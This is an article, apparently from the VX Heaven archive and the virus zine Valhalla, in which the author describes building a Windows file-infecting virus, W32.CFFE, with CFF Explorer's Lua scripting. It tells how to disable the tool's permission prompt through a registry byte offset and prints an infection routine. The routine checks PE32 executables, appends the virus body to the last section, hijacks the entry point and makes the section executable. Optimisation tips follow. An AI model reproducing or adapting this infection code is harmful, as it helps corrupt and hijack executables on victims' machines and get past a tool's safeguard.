Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Infect Using CFF Explorer Scripting

hh86
Valhalla #3
December 2012

[Back to index] [Comments]

About CFFE

There is a tool, CFF Explorer, it is my favorite. I saw myself in a dream writing this very same article, with no intro. So, I knew to make my first virus using this tool. I call it W32.CFFE.

What is it?

CFF Explorer is a wonderful tool to edit PE files. It would take quite a while to write down all of its feature and possible uses. It supports plug-ins and also has its own scripting language (modified version of Lua) to automate the edition of files (I have used it to edit other things too).

Can I Has Priviledges?

CFF Explorer has a good security mechanism for some functions that could be used to compromise the system. The default behavior is to ask the user for permission to let the script use them. While my script code is capable of infection, it does not use any priviledge function. It is a good idea and reminds me of UAC. But it is one that can be disabled.

I thought there would be a configuration file, but there is none. Therefore I looked into the registry and found its "NTCore" key in HKCU/Software. The configuration data is stored in a REG_BINARY value by the name of "Settings". Currently, I have version "7.9.0.0" of CFF Explorer installed. I did not bother to check previous versions. The corresponding field entry to disable its security mechanism is a 32-bit (boolean) at offset 0x78.

Manuscriptum

Script files have extension ".cff". Via command-line you can run your script by passing its name as an argument for CFF Explorer. Also, scripts supports arguments, much in the same way of C. In the documentation, it is written that you can run functions using argument "-CFFSCRIPT=". This is true, and partially describes the fact that you can pass as an argument the full source code of your script via command-line.

I would not recommend to do this from Windows prompt, because you must learn to escape some characters. CreateProcess API does not complains about it.

Since .cff is a registered extension, you can extract the path from the registry to lookup the installation directory:

	"HKEY_CLASSES_ROOT\CFFExplorer.Script\shell\open\command"

I did not wanted to make a script code to be a virus. So no "CFF.virus" thing, someone else might try this someday, simply by using the find files functions (you require priviledges for this). Instead, I made the infection procedure as a script, which is actually, a pretty standard file edition in this kind of tools. ;) Script and machine code do not infect other .cff files, so no cross-platform. x86 machine code is carried as an array within the script.

Here is what the script code looks like (a simplified version of the script that is used in the virus):

f = OpenFile(... filename ...)

-- 23117 instead of 0x5a4d

if ReadWord(f, 0) == 23117 and ReadWord(f, 2) != 1986 then
    PE = GetOffset(f, 1)

    -- 22 instead of 0x16 (IMAGE_NT_HEADERS.FileHeader.Characteristics offset)
    -- 92 instead of 0x5c (IMAGE_NT_HEADERS.OptionalHeader.Subsystem offset)
    -- 4092 instead of IMAGE_FILE_SYSTEM
    -- 17744 instead of "PE"
    -- 332 instead of 0x14c (IMAGE_FILE_MACHINE_I386)
    -- 2 instead of IMAGE_FILE_EXECUTABLE_IMAGE
    -- 2 instead of IMAGE_SUBSYSTEM_GUI
    -- 224 instead of 0xe0 (use this value as standard size of SizeOfOptionalHeader)
    -- check PE signature
    -- FileHeader.Machine == IMAGE_FILE_MACHINE_I386
    -- IsPE64 to discard file with IMAGE_NT_OPTIONAL_HDR64_MAGIC
    -- must be valid image file, and no system file

    d = 4096
    c = ReadWord(f, PE + 22)
    if ReadDword(f, PE) == 17744 and ReadWord(f, PE + 4) == 332 and IsPE64(f) == false and
        c & 2 == 2 and c & d != d and ReadWord(f, PE + 92) == 2 and ReadWord(f, p + 20) == 224 then

        -- 40 instead of 0x28 (sizeof IMAGE_SECTION_HEADER)
        -- 20 instead of 0x14 (IMAGE_SECTION_HEADER.PointerToRawData offset)
        -- 16 instead of 0x10 (IMAGE_SECTION_HEADER.SizeOfRawData offset)
        -- check PE size (discard file with data outside because AddDataToLastSection might overwrite it)

        SH = GetOffset(f, 5) + (ReadWord(f, PE + 6) - 1) * 40
        if GetFileSize(f) == ReadDword(f, SH + 20) + ReadDword(f, SH + 16) then
            h = AddDataToLastSection(f, {... here goes the array of virus values ...})
            if h then

                -- 40 instead of 0x28 (IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint offset)
                -- 36 instead of 0x24 (IMAGE_SECTION_HEADER.Characteristics offset)
                -- 200 instead of 0xc8 (offset of Load Config data directory entry)
                -- 160 instead of 0xa0 (offset of reloc data directory entry)
                WriteWord(f, 2, 1986)
                WriteQword(f, p + 200, 0)
                WriteQword(f, p + 160, 0)
                WriteDword(f, h + 1, ReadDword(f, PE + 40))
                WriteDword(f, PE + 40, OffsetToRva(f, h))
                WriteDword(f, SH + 36, ReadDword(f, SH + 36) | 0x20000000)
                SaveFile(f)
            end
        end
    end
    CloseHandle(f)
end
 

If you want the script code to run faster, you might want to use OpenFile function instead of file name as parameter for all functions. I used it so that we can save the modification only if no errors occurred (unfortunately there is no exception handling here, so must save in the last and most safe moment).

Lua, just like VBScript (and Visual Basic), process multiple conditions in IF by making the evaluation and saving the results until THEN, for example:

if a()!=1 and b==1 then

Let's suppose that a() returns 1, b() is executed regardless the result of the previous evaluation. So longer IFs with lots of conditions take longer time, and also if they call many functions that could have an error, they make the code more likely to crash if numerous bad things happen. JScript in the other hand does not do this. If speed is the concern, then use an IF for each check.

One might think PE64 function would be enough to discard PE32+ files and invalid ones. But it only checks that IMAGE_OPTIONAL_HEADER.Magic field is IMAGE_NT_OPTIONAL_HDR64_MAGIC, ignoring IMAGE_FILE_HEADER.Machine field. If IMAGE_DOS_HEADER.Magic is invalid, or IMAGE_DOS_HEADER.e_lfanew is invalid, or IMAGE_NT_HEADERS.Signature is invalid, function returns false PE32. You might incorrectly assume file is valid and also not PE64. So, we must check in the code. After all checks are passed, I only use IsPE64 to check the first field noted here, to avoid a ReadWord, which takes more bytes.

If you want to get an offset fast, you can use GetOffset function. In the documentation, the ID (indexes) constant looks like "PE_DosHeader", but we can use numeric index instead, to save some bytes.

	-- 60 instead of 0x3c (offset of IMAGE_DOS_HEADER.e_lfanew)
	PE = ReadDword(f, 60)

We can use:

	-- PE_NtHeaders == 1
	PE = GetOffset(f, 1)

Get to last section header is a rather lengthy equation. GetOffset helps here too. However, we will get the offset of the beginning of the section headers. It also seems to use SizeOfOptionalHeader to get this particular offset, which is better than using NumberOfRvaAndSizes. ;)

Using no GetOffset:

	-- 20 instead of 0x14 (offset of IMAGE_NT_HEADERS.FileHeader.SizeOfOptionalHeader)
	-- 24 instead of 0x18 (offset of IMAGE_NT_HEADERS.OptionalHeader)
	-- 6 is IMAGE_NT_HEADERS.FileHeader.NumberOfSections
	-- 40 instead of 0x28 (sizeof IMAGE_SECTION_HEADER)

	SH = PE + ReadWord(f, PE + 20) + 24 + (ReadWord(f, PE + 6) - 1) * 40

Using GetOffset:

	-- 5 instead of "PE_SectionHeaders"
	-- 6 is IMAGE_NT_HEADERS.FileHeader.NumberOfSections
	-- 40 instead of 0x28 (sizeof IMAGE_SECTION_HEADER)

	SH = GetOffset(f, "PE_SectionHeaders") + (ReadWord(f, PE + 6) - 1) * 40

Or

	-- 5 instead of "PE_SectionHeaders"

	SH = GetOffset(f, 5) + (ReadWord(f, PE + 6) - 1) * 40

Tomorrow Never Knows

CFF Explorer has a very impressive architecture, and it is a free tool. I couldn't ask for anything better to play with. CFF Explorer also supports Extensions (DLL files), an x86 version of the script could be made to spread from PE to PE. I might try it someday.

hh86
November 2012
[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua